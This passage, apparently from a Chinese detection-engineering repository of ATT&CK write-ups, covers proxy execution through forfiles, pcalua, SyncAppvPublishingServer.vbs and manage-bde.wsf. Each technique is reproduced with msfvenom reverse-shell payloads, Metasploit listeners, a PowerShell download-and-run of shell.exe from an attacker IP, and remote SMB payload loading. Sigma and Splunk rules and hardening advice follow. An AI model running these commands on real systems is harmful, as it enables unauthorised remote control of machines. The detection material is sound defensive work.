将`shell.exe`复制到靶机`C:\\Windows\\System32\\`（或通过HTTP下载后执行）：\n  ```cmd\n  forfiles /p C:\\Windows\\System32 /m cmd.exe /c \"powershell -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.126.146/shell.exe','C:\\Windows\\System32\\shell.exe'); C:\\Windows\\System32\\shell.exe\"\n  ```\n\n6. **结果分析**：\n\n- 成功：获得Meterpreter会话，`getuid`显示用户为`12306Br0-PC\\12306Br0`。\n\n- 失败可能原因：\n  - 防火墙阻止HTTP请求或TCP8888连接。\n  - Payload架构不匹配（需生成64位Payload）。\n  - PowerShell执行策略限制（需设置为`Bypass`：`Set-ExecutionPolicy Bypass`）。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  进程信息:\n    新进程ID:0x4c4\n    新进程名称:C:\\Windows\\System32\\forfiles.exe\n    命令行:forfiles /p C:\\Windows\\System32 /m cmd.exe /c \"C:\\Windows\\System32\\shell.exe\"\n  ```\n  ```\n  进程信息:\n    新进程ID:0x588\n    新进程名称:C:\\Windows\\System32\\shell.exe\n    命令行:C:\\Windows\\System32\\shell.exe\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:forfiles.exe\n  CommandLine:forfiles /p C:\\Windows\\System32 /m cmd.exe /c \"C:\\Windows\\System32\\shell.exe\"\n  CurrentDirectory:C:\\Users\\12306Br0\\\n  User:12306Br0-PC\\12306Br0\n  Hashes:SHA1=7A3B2C1D4E5F67890123456789ABCDEF01234567\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  事件ID:1\n  OriginalFileName:shell.exe\n  CommandLine:C:\\Windows\\System32\\shell.exe\n  CurrentDirectory:C:\\Windows\\System32\\\n  User:12306Br0-PC\\12306Br0\n  Hashes:SHA1=C11C194CA5D0570F1BC85BB012F145BAFC9A4D6C\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID3：\n  ```\n  事件ID:3\n  Image:C:\\Windows\\System32\\shell.exe\n  Initiated:true\n  SourceIp:192.168.126.149\n  SourcePort:49163\n  DestinationIp:192.168.126.146\n  DestinationPort:8888\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`forfiles.exe`的执行，尤其是调用`cmd.exe`或`msiexec.exe`的场景。\n   - 检查命令行是否包含`/c`和可执行文件（如`.exe`、`.msi`）。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     forfiles\\.exe.*\\/c.*(\\.exe|\\.msi|http)\n     ```\n3. 网络监控：\n   - 检测`msiexec.exe`或其子进程发起的HTTP请求或反弹Shell连接（如TCP8888）。\n4. 文件监控：\n   - 检测非系统路径下的可执行文件或MSI文件。\n5. 行为分析：\n   - 检测`forfiles.exe`触发子进程的异常行为。\n\n### Sigma规则\n新增Sigma规则以增强检测：\n```yaml\ntitle:可疑Forfiles.exe执行Payload\nid:1a2b3c4d-5e6f-7890-a1b2-c3d4e5f67890\ndescription:检测forfiles.exe通过/c参数执行可执行文件或MSI，可能用于代理恶意代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\forfiles.exe'\n    CommandLine|contains:'/c'\n  filter_legitimate:\n    CommandLine|contains:\n      - '.txt'\n      - '.log'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的文件操作脚本\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1202\n```\n\n规则说明：\n- 目标：检测`forfiles.exe`使用`/c`参数执行命令。\n- 过滤：排除常见的文件操作（如处理`.txt`或`.log`文件）。\n- 日志来源：Windows事件ID4688（需启用命令行审核）或Sysmon事件ID1。\n- 误报处理：合法批处理脚本可能触发，需结合命令行和子进程分析。\n- 级别：标记为“高”优先级，因`forfiles.exe`滥用通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\forfiles.exe\" CommandLine=\"*/c*\")\nOR (EventCode=10 SourceImage=\"*\\forfiles.exe\" TargetImage IN (\"*\\cmd.exe\",\"*\\msiexec.exe\",\"*.exe\"))\nOR (EventCode=3 Initiated=\"true\" SourceImage IN (\"*\\msiexec.exe\",\"*.exe\") DestinationPort=\"8888\")\n| fields Image,CommandLine,ParentImage,User,TargetImage,DestinationIp,DestinationPort\n```\n\n规则说明：\n- 检测`forfiles.exe`的异常执行（事件ID1）、触发的子进程（事件ID10）和网络连接（事件ID3）。\n- 减少误报：结合命令行、子进程和网络行为分析。\n\n### 检测挑战\n- 误报：合法批处理脚本可能触发，需结合上下文（如文件类型、子进程）。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`forfiles.exe`的规则，监控进程创建和网络活动。\n2. 网络隔离：\n   - 限制非必要主机的HTTP出站连接，尤其是高危端口（如8888）。\n3. 文件审查：\n   - 定期扫描非系统路径下的可执行文件和MSI文件，检查文件哈希。\n4. 权限控制：\n   - 限制普通用户执行`forfiles.exe`的权限。\n5. 安全更新：\n   - 保持Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1202:  \n  <https://attack.mitre.org/techniques/T1202/>\n- 基于白名单Forfiles执行Payload:  \n  <https://www.bookstack.cn/read/Micro8/Chapter1-81-90-84_%E5%9F%BA%E4%BA%8E%E7%99%BD%E5%90%8D%E5%8D%95Forfiles%E6%89%A7%E8%A1%8Cpayload%E7%AC%AC%E5%8D%81%E5%9B%9B%E5%AD%A3.md>\n- MicrosoftForfiles文档:  \n  <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1202-win-间接命令执行-基于Pcalua执行payload(白名单).md",
    "content": "# T1202-间接命令执行-基于Pcalua执行Payload(白名单)\n\n## 描述\n\n攻击者可利用Windows实用程序（如`pcalua.exe`）间接执行命令，绕过防御机制。`pcalua.exe`是程序兼容性助手（ProgramCompatibilityAssistant）的组件，位于`C:\\Windows\\System32\\`，由Microsoft签名，包含在系统`PATH`环境变量中。它用于以兼容模式运行程序，但可被滥用通过`-a`参数直接执行任意可执行文件，包括本地或远程文件。\n\n此技术通过合法签名工具（如`pcalua.exe`）代理执行恶意Payload，绕过应用程序白名单（如AppLocker）或防病毒检测，常用于初始访问后的持久化、权限提升或横向移动。\n\n## 测试案例\n\n### 测试案例1：Pcalua执行本地或远程Payload\n`pcalua.exe`通过`-a`参数执行可执行文件，支持本地路径或远程SMB共享路径。以下为测试案例：\n\n**命令**：\n- 本地加载：\n  ```cmd\n  pcalua -m -a C:\\Users\\<username>\\Desktop\\shell.exe\n  ```\n- 远程加载：\n  ```cmd\n  pcalua -m -a \\\\192.168.126.146\\share\\shell.exe\n  ```\n\n- **说明**：\n  - `-m`：以兼容模式运行（可选）。\n  - `-a`：指定要执行的可执行文件路径。\n  - `shell.exe`：恶意Payload，测试中可替换为反弹Shell。\n- **权限**：无需提升权限，普通用户可执行。\n\n### 补充说明\n- 日志监控：\n  - 在高版本Windows（如Windows7及以上），可通过组策略启用进程命令行参数记录：\n    - 路径：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`\n  - 部署Sysmon，记录进程创建和网络活动。\n- 局限性：\n  - 默认Windows日志可能不记录完整命令行，需启用审核策略。\n  - 合法程序兼容性操作可能触发类似日志，需结合上下文分析。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID4688：进程创建，记录`pcalua.exe`及其子进程的执行信息。\n  - 事件ID5156：网络连接，记录Payload的出站连接。\n- Sysmon日志：\n  - 事件ID1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID7：映像加载，记录加载的DLL。\n  - 事件ID10：进程访问，记录子进程调用。\n- 网络监控：\n  - 检测`pcalua.exe`或其子进程发起的异常网络连接（如反弹Shell）。\n- 文件监控：\n  - 检测非标准路径下的可执行文件或SMB共享访问。\n\n## 测试复现\n\n### 环境准备\n- 攻击机：KaliLinux2019\n- 靶机：Windows7\n- 工具：\n  - MetasploitFramework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n  - Samba（远程共享Payload）\n\n### 攻击分析\n\n#### 测试1：Pcalua执行Payload\n1. **生成Payload**：\n   ```bash\n   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=6666 -f exe -o shell.exe\n   ```\n\n2. **配置Samba共享（远程加载）**：\n   - 在攻击机上设置SMB共享：\n     ```bash\n     sudo apt-get install samba\n     sudo nano /etc/samba/smb.conf\n     ```\n     添加：\n     ```\n     [share]\n     path = /path/to/share\n     writable = yes\n     guest ok = yes\n     ```\n     - 复制`shell.exe`到共享目录：\n       ```bash\n       cp shell.exe /path/to/share/\n       sudo systemctl restart smbd\n       ```\n\n3. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 6666\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n4. **靶机执行Payload**：\n   - 本地加载：\n     ```cmd\n     pcalua -m -a C:\\Users\\12306Br0\\Desktop\\shell.exe\n     ```\n   - 远程加载：\n     ```cmd\n     pcalua -m -a \\\\192.168.126.146\\share\\shell.exe\n     ```\n\n5. **结果分析**：\n   - 成功：获得Meterpreter会话，`getuid`显示用户为`12306Br0-PC\\12306Br0`。\n   - 失败可能原因：\n     - 防火墙阻止TCP连接。\n     - SMB共享未正确配置（需检查权限或防火墙）。\n     - Payload架构不匹配（需生成32位Payload以适配Windows7）。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID4688：\n  ```\n  进程信息:\n    新进程ID:0x864\n    新进程名称:C:\\Windows\\System32\\pcalua.exe\n    命令行:pcalua -m -a C:\\Users\\12306Br0\\Desktop\\a\\shell.exe\n  ```\n  ```\n  进程信息:\n    新进程ID:0xaf4\n    新进程名称:C:\\Users\\12306Br0\\Desktop\\a\\shell.exe\n    命令行:\"C:\\Users\\12306Br0\\Desktop\\a\\shell.exe\"\n  ```\n- 事件ID5156：\n  ```\n  应用程序信息:\n    进程ID:2804\n    应用程序名称:\\device\\harddiskvolume2\\users\\12306br0\\desktop\\a\\shell.exe\n  网络信息:\n    方向:出站\n    源地址:192.168.126.149\n    源端口:49163\n    目标地址:192.168.126.146\n    目标端口:6666\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:pcalua.exe\n  CommandLine:pcalua -m -a C:\\Users\\12306Br0\\Desktop\\a\\shell.exe\n  CurrentDirectory:C:\\Users\\12306Br0\\\n  User:12306Br0-PC\\12306Br0\n  Hashes:SHA1=280038828C2412F3867DDB22E07759CB26F7D8EA\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n  ```\n  事件ID:1\n  OriginalFileName:shell.exe\n  CommandLine:\"C:\\Users\\12306Br0\\Desktop\\a\\shell.exe\"\n  CurrentDirectory:C:\\Users\\12306Br0\\\n  User:12306Br0-PC\\12306Br0\n  Hashes:SHA1=C11C194CA5D0570F1BC85BB012F145BAFC9A4D6C\n  ParentImage:C:\\Windows\\System32\\pcalua.exe\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`pcalua.exe`的执行，尤其是非程序兼容性场景中的调用。\n   - 检查命令行是否包含`-a`和可执行文件路径（本地或远程）。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     pcalua\\.exe.*-a.*(\\.exe|\\\\)\n     ```\n3. 网络监控：\n   - 检测`pcalua.exe`或其子进程发起的异常网络连接（如TCP6666）。\n   - 监控SMB共享访问（如`\\\\192.168.126.146\\share`）。\n4. 文件监控：\n   - 检测非系统路径下的可执行文件或远程共享中的文件。\n5. 行为分析：\n   - 检测`pcalua.exe`触发子进程的异常行为。\n\n### Sigma规则\n新增Sigma规则以增强检测：\n```yaml\ntitle:可疑Pcalua.exe执行Payload\nid:9e8f0a1b-2c3d-4e5f-6b7c-8d9e0a1b2c3d\ndescription:检测pcalua.exe执行本地或远程可执行文件，可能用于代理恶意代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection:\n    Image|endswith:'\\pcalua.exe'\n    CommandLine|contains:'-a'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\ProgramFiles\\'\n      - 'C:\\ProgramFiles(x86)\\'\n  condition:selection and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的程序兼容性操作\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1202\n```\n\n规则说明：\n- 目标：检测`pcalua.exe`使用`-a`参数执行可执行文件。\n- 过滤：排除程序安装目录（如`C:\\ProgramFiles`）中的合法操作。\n- 日志来源：Windows事件ID4688（需启用命令行审核）或Sysmon事件ID1。\n- 误报处理：合法兼容性操作可能触发，需结合文件路径和网络行为分析。\n- 级别：标记为“高”优先级，因`pcalua.exe`滥用通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image=\"*\\pcalua.exe\" CommandLine=\"*-a*\")\nOR (EventCode=10 SourceImage=\"*\\pcalua.exe\" TargetImage=\"*.exe\")\nOR (EventCode=3 Initiated=\"true\" SourceImage=\"*\\pcalua.exe\" DestinationPort IN (\"445\",\"6666\"))\n| fields Image,CommandLine,ParentImage,User,TargetImage,DestinationIp,DestinationPort\n```\n\n规则说明：\n- 检测`pcalua.exe`的异常执行（事件ID1）、触发的子进程（事件ID10）和网络连接（事件ID3）。\n- 减少误报：结合命令行、子进程和网络行为分析。\n\n### 检测挑战\n- 误报：合法程序兼容性操作可能触发，需结合上下文（如文件路径、父进程）。\n- 日志依赖：默认日志可能不记录完整命令行，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID4688记录完整参数。\n   - 部署Sysmon，配置针对`pcalua.exe`的规则，监控进程创建和网络活动。\n2. 网络隔离：\n   - 限制非必要主机的出站连接，尤其是高危端口（如6666）。\n   - 禁用或限制非必要的SMB共享访问。\n3. 文件审查：\n   - 定期扫描非系统路径下的可执行文件，检查文件哈希。\n4. 权限控制：\n   - 限制普通用户执行`pcalua.exe`的权限。\n5. 安全更新：\n   - 保持Windows系统更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1202:  \n  <https://attack.mitre.org/techniques/T1202/>\n- 渗透测试-基于白名单执行Payload--Pcalua:  \n  <https://blog.csdn.net/qq_17204441/article/details/89881795>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- MetasploitFramework:用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon:Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1216-win-签名脚本代理执行.md",
    "content": "# T1216-签名脚本代理执行\n\n## 描述\n\n攻击者可利用Microsoft签名的脚本（如VBS、WSF）代理执行恶意代码。这些脚本由可信证书签名，位于Windows系统目录（如`C:\\Windows\\System32`），常被滥用来绕过应用程序白名单（如AppLocker）或签名验证机制。常见脚本包括`SyncAppvPublishingServer.vbs`和`manage-bde.wsf`，它们允许通过参数或环境变量注入任意命令，触发恶意Payload。\n\n此技术通过合法的脚本宿主进程（如`wscript.exe`、`cscript.exe`）执行，隐藏恶意行为，降低被检测的风险。攻击者常在网络钓鱼、持久化或横向移动阶段使用此类技术。\n\n## 测试案例\n\n### 测试案例1：SyncAppvPublishingServer.vbs执行PowerShell命令\n`SyncAppvPublishingServer.vbs`是Windows系统自带的签名脚本，用于同步App-V发布服务器。通过注入PowerShell命令，可代理执行任意代码。\n\n**命令**：\n```cmd\nC:\\Windows\\System32\\SyncAppvPublishingServer.vbs \"\\n;Start-Process calc\"\n```\n- 说明：注入`Start-Process calc`启动计算器，实际攻击中可替换为恶意Payload。\n- 权限：无需提升权限，普通用户可执行。\n\n### 测试案例2：manage-bde.wsf执行任意命令\n`manage-bde.wsf`是Windows BitLocker管理脚本，可通过修改`COMSPEC`环境变量代理执行命令。\n\n**命令**：\n```cmd\nset COMSPEC=%windir%\\System32\\calc.exe\ncscript %windir%\\System32\\manage-bde.wsf\n```\n- 说明：将`COMSPEC`设置为`calc.exe`，脚本执行时启动计算器。\n- 清理：执行`set COMSPEC=%windir%\\System32\\cmd.exe`恢复环境变量。\n- 权限：无需提升权限。\n\n## 检测日志\n\n### 数据来源\n- Windows安全日志：\n  - 事件ID 4688：进程创建，记录`wscript.exe`或`cscript.exe`的执行信息。\n- Sysmon日志：\n  - 事件ID 1：进程创建，包含命令行、哈希值和父进程。\n  - 事件ID 7：映像加载，记录加载的DLL。\n  - 事件ID 10：进程访问，记录脚本触发的子进程。\n- 环境变量监控：\n  - 检测`COMSPEC`等关键变量的异常修改。\n- 文件监控：\n  - 检测脚本文件（如`SyncAppvPublishingServer.vbs`、`manage-bde.wsf`）的异常调用。\n- 网络监控：\n  - 检测脚本触发的异常网络连接（如反弹Shell）。\n\n### 日志示例\n- 事件ID 4688（测试1）：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\System32\\wscript.exe\n    命令行:\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Windows\\System32\\SyncAppvPublishingServer.vbs\" \"\\n;Start-Process calc\"\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n- Sysmon事件ID 1（测试1）：\n  ```\n  事件ID:1\n  OriginalFileName:wscript.exe\n  CommandLine:\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Windows\\System32\\SyncAppvPublishingServer.vbs\" \"\\n;Start-Process calc\"\n  CurrentDirectory:C:\\Users\\Administrator.ZHULI\\\n  User:ZHULI\\Administrator\n  Hashes:SHA1=267D05CE8D10D97620BE1C7773757668BAEB19EE\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- Sysmon事件ID 1（测试2）：\n  ```\n  事件ID:1\n  OriginalFileName:cscript.exe\n  CommandLine:cscript.exe C:\\Windows\\System32\\manage-bde.wsf\n  CurrentDirectory:C:\\Users\\Administrator.ZHULI\\\n  User:ZHULI\\Administrator\n  Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n\n## 测试复现\n\n### 环境准备\n- 攻击机：Kali Linux 2019（或其他支持Metasploit的系统）\n- 靶机：Windows Server 2012（或其他支持VBS/WSF的Windows系统）\n- 工具：\n  - Metasploit Framework（生成Payload和监听）\n  - Sysmon（可选，日志收集）\n\n### 攻击分析\n\n#### 测试1：SyncAppvPublishingServer.vbs执行PowerShell命令\n1. **执行命令**：\n   ```cmd\n   C:\\Windows\\System32\\SyncAppvPublishingServer.vbs \"\\n;Start-Process calc\"\n   ```\n   - 结果：启动`calc.exe`，通过`wscript.exe`调用PowerShell执行注入的命令。\n   - 实际攻击中，可替换为：\n     ```cmd\n     C:\\Windows\\System32\\SyncAppvPublishingServer.vbs \"\\n;Start-Process powershell -ArgumentList '-NoProfile -EncodedCommand <Base64_Payload>'\"\n     ```\n\n2. **生成恶意Payload**：\n   ```bash\n   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f psh -o payload.ps1\n   ```\n   将PowerShell Payload编码为Base64：\n   ```powershell\n   $command = Get-Content payload.ps1 | Out-String\n   [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command))\n   ```\n\n3. **配置攻击机监听**：\n   ```bash\n   msf5>use exploit/multi/handler\n   msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp\n   msf5 exploit(multi/handler)>set LHOST 192.168.126.146\n   msf5 exploit(multi/handler)>set LPORT 4444\n   msf5 exploit(multi/handler)>set AutoRunScript migrate -f\n   msf5 exploit(multi/handler)>exploit\n   ```\n\n4. **靶机执行**：\n   ```cmd\n   C:\\Windows\\System32\\SyncAppvPublishingServer.vbs \"\\n;Start-Process powershell -ArgumentList '-NoProfile -EncodedCommand <Base64_Payload>'\"\n   ```\n\n5. **结果**：\n   - 成功获得Meterpreter会话。\n   - 若失败，检查：\n     - 防火墙是否阻止TCP连接。\n     - PowerShell执行策略（需为`RemoteSigned`或`Bypass`）。\n\n#### 测试2：manage-bde.wsf执行任意命令\n1. **解决复现问题**：\n   - 原问题：`manage-bde.wsf`文件异常，提示“无效实体引用”。\n   - 原因：下载的GitHub文件可能不完整或与目标系统版本不兼容。\n   - 解决：从相同版本的Windows系统（如Windows Server 2012）复制原始`manage-bde.wsf`，或使用以下简化版WSF：\n     ```xml\n     <job id=\"ManageBDE\">\n     <script language=\"VBScript\">\n         Set WShell = CreateObject(\"WScript.Shell\")\n         WShell.Run WShell.ExpandEnvironmentStrings(\"%COMSPEC%\")\n     </script>\n     </job>\n     ```\n     保存为`manage-bde.wsf`，放置于`C:\\Windows\\System32\\`。\n\n2. **执行命令**：\n   ```cmd\n   set COMSPEC=%windir%\\System32\\calc.exe\n   cscript %windir%\\System32\\manage-bde.wsf\n   ```\n   - 清理：\n     ```cmd\n     set COMSPEC=%windir%\\System32\\cmd.exe\n     ```\n\n3. **生成恶意Payload**：\n   ```bash\n   msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f exe -o C:\\Windows\\System32\\payload.exe\n   ```\n\n4. **靶机执行**：\n   ```cmd\n   set COMSPEC=C:\\Windows\\System32\\payload.exe\n   cscript %windir%\\System32\\manage-bde.wsf\n   ```\n\n5. **结果**：\n   - 成功触发`payload.exe`，获得Meterpreter会话。\n   - 若失败，检查：\n     - `manage-bde.wsf`文件完整性。\n     - `COMSPEC`变量是否正确设置。\n     - 防火墙限制。\n\n## 测试留痕\n\n### Windows安全日志\n- 事件ID 4688（测试1）：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\System32\\wscript.exe\n    命令行:\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Windows\\System32\\SyncAppvPublishingServer.vbs\" \"\\n;Start-Process calc\"\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID 4688（测试2）：\n  ```\n  进程信息:\n    新进程名称:C:\\Windows\\System32\\cscript.exe\n    命令行:cscript.exe C:\\Windows\\System32\\manage-bde.wsf\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n\n### Sysmon日志\n- 事件ID 1（测试1）：\n  ```\n  事件ID:1\n  OriginalFileName:wscript.exe\n  CommandLine:\"C:\\Windows\\System32\\WScript.exe\" \"C:\\Windows\\System32\\SyncAppvPublishingServer.vbs\" \"\\n;Start-Process calc\"\n  CurrentDirectory:C:\\Users\\Administrator.ZHULI\\\n  User:ZHULI\\Administrator\n  Hashes:SHA1=267D05CE8D10D97620BE1C7773757668BAEB19EE\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID 1（测试2）：\n  ```\n  事件ID:1\n  OriginalFileName:cscript.exe\n  CommandLine:cscript.exe C:\\Windows\\System32\\manage-bde.wsf\n  CurrentDirectory:C:\\Users\\Administrator.ZHULI\\\n  User:ZHULI\\Administrator\n  Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID 10：记录子进程（如`calc.exe`或`powershell.exe`）。\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`wscript.exe`或`cscript.exe`执行`SyncAppvPublishingServer.vbs`或`manage-bde.wsf`。\n   - 检查命令行是否包含可疑参数（如`Start-Process`或非标准脚本路径）。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     (wscript\\.exe.*SyncAppvPublishingServer\\.vbs.*Start-Process)|(cscript\\.exe.*manage-bde\\.wsf)\n     ```\n3. 环境变量监控：\n   - 检测`COMSPEC`异常修改（如指向非`cmd.exe`的路径）。\n4. 文件监控：\n   - 检测非系统路径下的VBS/WSF文件，或系统脚本的异常调用。\n5. 网络监控：\n   - 检测脚本触发的异常网络连接。\n6. 行为分析：\n   - 检测脚本宿主进程调用子进程（如`powershell.exe`、`payload.exe`）。\n\n### Sigma规则\n优化后的Sigma规则，覆盖两种测试案例：\n```yaml\ntitle:可疑签名脚本代理执行\nid:6a7b8c3d-4e9f-5b6a-8c7d-9e8f0a1b2c3d\ndescription:检测wscript.exe或cscript.exe执行可疑签名脚本，可能用于代理恶意代码\nstatus:experimental\nlogsource:\n  category:process_creation\n  product:windows\ndetection:\n  selection_syncappv:\n    Image|endswith:\n      - '\\wscript.exe'\n      - '\\cscript.exe'\n    CommandLine|contains:\n      - 'SyncAppvPublishingServer.vbs'\n      - 'Start-Process'\n  selection_managebde:\n    Image|endswith:'\\cscript.exe'\n    CommandLine|contains:'manage-bde.wsf'\n  filter_legitimate:\n    CommandLine|contains:\n      - 'C:\\Windows\\System32\\manage-bde.exe'\n  condition:(selection_syncappv or selection_managebde) and not filter_legitimate\nfields:\n  - Image\n  - CommandLine\n  - ParentImage\n  - User\nfalsepositives:\n  - 合法的App-V同步操作或BitLocker管理任务\nlevel:high\ntags:\n  - attack.execution\n  - attack.t1216\n```\n\n规则说明：\n- 目标：检测`SyncAppvPublishingServer.vbs`和`manage-bde.wsf`的异常执行。\n- 过滤：排除合法的BitLocker管理操作（如`manage-bde.exe`调用）。\n- 日志来源：Windows事件ID 4688（需启用命令行审核）或Sysmon事件ID 1。\n- 误报处理：合法脚本操作可能触发，需结合命令行和父进程分析。\n- 级别：标记为“高”优先级，因签名脚本滥用通常与恶意活动相关。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\"\n(EventCode=1 Image IN (\"*\\wscript.exe\",\"*\\cscript.exe\") CommandLine IN (\"*SyncAppvPublishingServer.vbs*\",\"*Start-Process*\",\"*manage-bde.wsf*\"))\nOR (EventCode=10 SourceImage IN (\"*\\wscript.exe\",\"*\\cscript.exe\") TargetImage IN (\"*\\powershell.exe\",\"*\\cmd.exe\"))\n| fields Image,CommandLine,ParentImage,User,TargetImage\n```\n\n规则说明：\n- 检测脚本宿主进程的异常执行（事件ID 1）和触发的子进程（事件ID 10）。\n- 减少误报：结合命令行和子进程分析。\n\n### 检测挑战\n- 误报：合法的App-V或BitLocker操作可能触发，需结合上下文（如环境变量、子进程）。\n- 日志依赖：脚本执行细节可能不记录，需部署Sysmon或增强日志策略。\n\n## 防御建议\n1. 监控和日志：\n   - 启用命令行审核策略，确保事件ID 4688记录完整参数。\n   - 部署Sysmon，配置针对`wscript.exe`和`cscript.exe`的规则，监控脚本执行和子进程。\n2. 网络隔离：\n   - 限制非必要主机的出站连接，尤其是高危端口（如4444）。\n3. 文件审查：\n   - 定期扫描非系统路径下的VBS/WSF文件，检查脚本内容。\n4. 权限控制：\n   - 限制普通用户执行`wscript.exe`或`cscript.exe`的权限。\n5. 环境变量保护：\n   - 监控`COMSPEC`等关键变量的修改，限制非管理员更改。\n6. 安全更新：\n   - 保持Windows系统和脚本宿主更新，修复潜在漏洞。\n\n## 参考推荐\n- MITRE ATT&CK T1216:  \n  <https://attack.mitre.org/techniques/T1216/>\n- Atomic Red Team T1216:  \n  <https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1216/T1216.md>\n- manage-bde.wsf文件参考:  \n  <https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Metasploit Framework: 用于生成和测试反弹Shell。  \n  <https://www.metasploit.com/>\n- Sysmon: Microsoft提供的系统监控工具。  \n  <https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon>\n"
  },
  {
    "path": "Windows/07逃避防御/T1216.001-Win-签名脚本代理执行-PubPrn.md",
    "content": "# T1216.001-签名脚本代理执行-PubPrn\n\n## 描述\n\n`PubPrn.vbs`是Microsoft签名的VisualBasic脚本，位于`C:\\Windows\\System32\\Printing_Admin_Scripts\\<语言代码>\\`，用于将打印机发布到ActiveDirectory域服务。脚本通过Windows脚本宿主`cscript.exe`或`wscript.exe`执行，典型用法如下：\n\n```cmd\ncscript.exe C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com\n```\n\n攻击者可滥用`PubPrn.vbs`的`script:`参数，引用远程托管的COM脚本文件（.sct），执行恶意代码。例如：\n\n```cmd\ncscript.exe /b C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs localhost 